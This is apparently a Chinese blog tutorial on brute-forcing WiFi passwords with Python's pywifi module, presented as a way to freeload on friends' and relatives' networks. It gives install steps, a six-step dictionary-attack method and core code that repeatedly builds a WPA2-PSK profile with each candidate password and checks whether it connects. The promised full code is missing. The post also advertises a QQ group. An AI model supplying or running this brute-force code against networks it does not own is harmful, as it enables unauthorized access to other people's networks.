随着智能手机的发展,网络已成为生活中不可或缺的一部分了,但是由于手机网络的网速或者流量资费等原因,导致人们过年走亲戚,或者去朋友家,总是会需要去问WiFi,我以前也常常会有这样的困扰。但是自从学过Python之后,嘿嘿嘿,现在出去玩我经常能蹭到网。学习Python呢,需要一个比较好的学习环境,最好是有人能够指点一二,刚好小编这里呢就有一个不错的环境,有想法的小伙伴可以加群959997225喔!扯远了扯远了,不好意思。废话不多说了,接下来我们进行分析与操作介绍吧。
首先导入连接wifi的pywifi模块,如果pip不能安装就在网上下载,因为该模块已经停用了。
如果你是在网络上下载,那么请看下面的安装方法:
下载好后,从cmd命令行,CD进入到你的文件目录
用命令pip install .安装(必须有点)
在我这边pywifi-master文件夹放在c盘根目录下,所以先进入根目录,再进入pywifi-master文件夹,最后输入命令pip install . 即可
接下来在这样操作:
一、我们在安装并启动了WiFi的py wifi模块的准备后,还要进行wifi连接的准备,进行网卡接口的抓取,必须要有网卡才可以连接WiFi,并且一台电脑可以有很多网卡,但是连接WiFi只有一个。
二、抓取到WiFi网卡后进行连接测试,断开所有的wifi网卡上的已连接成功的设备。
三、接下来就是进行刺激的WiFi破解了
四、遍历字典中保存的密码,直到破解成功。破解密码,永远离不开字典,字典我就先不发咯(嘿嘿嘿)
五、设置时间周期(sleep),连接存在一定延迟,不可能一秒钟尝试无限次。
六、就是得到结果啦
以上是分析,部分核心代码如下:
<1>
def __init__(self, path):
self.file = open(path, "r", errors="ignore")
wifi = pywifi.PyWiFi() # 抓取网卡接口
self.iface = wifi.interfaces()[0] # 抓取第一个无限网卡
self.iface.disconnect() # 测试链接断开所有链接
time.sleep(1) # 休眠1秒
# 测试网卡是否属于断开状态,
assert self.iface.status() in
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
<2>
def test_connect(self, findStr): # 测试链接
profile = pywifi.Profile() # 创建wifi链接文件
profile.ssid = "e2" # wifi名称
profile.auth = const.AUTH_ALG_OPEN # 网卡的开放,
profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法
profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元
profile.key = findStr # 密码
self.iface.remove_all_network_profiles() # 删除所有的wifi文件
tmp_profile = self.iface.add_network_profile(profile) # 设定新的链接文件
self.iface.connect(tmp_profile) # 链接
time.sleep(5)
if self.iface.status() == const.IFACE_CONNECTED: # 判断是否连接上
isOK=True
else:
isOK=False
self.iface.disconnect() # 断开
time.sleep(1)
# 检查断开状态
assert self.iface.status() in
[const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
return isOK
结果如下:
完整代码如下:
喜欢本文的小伙伴或者觉得本文对你有帮助可以点播关注或转发喔。
网友评论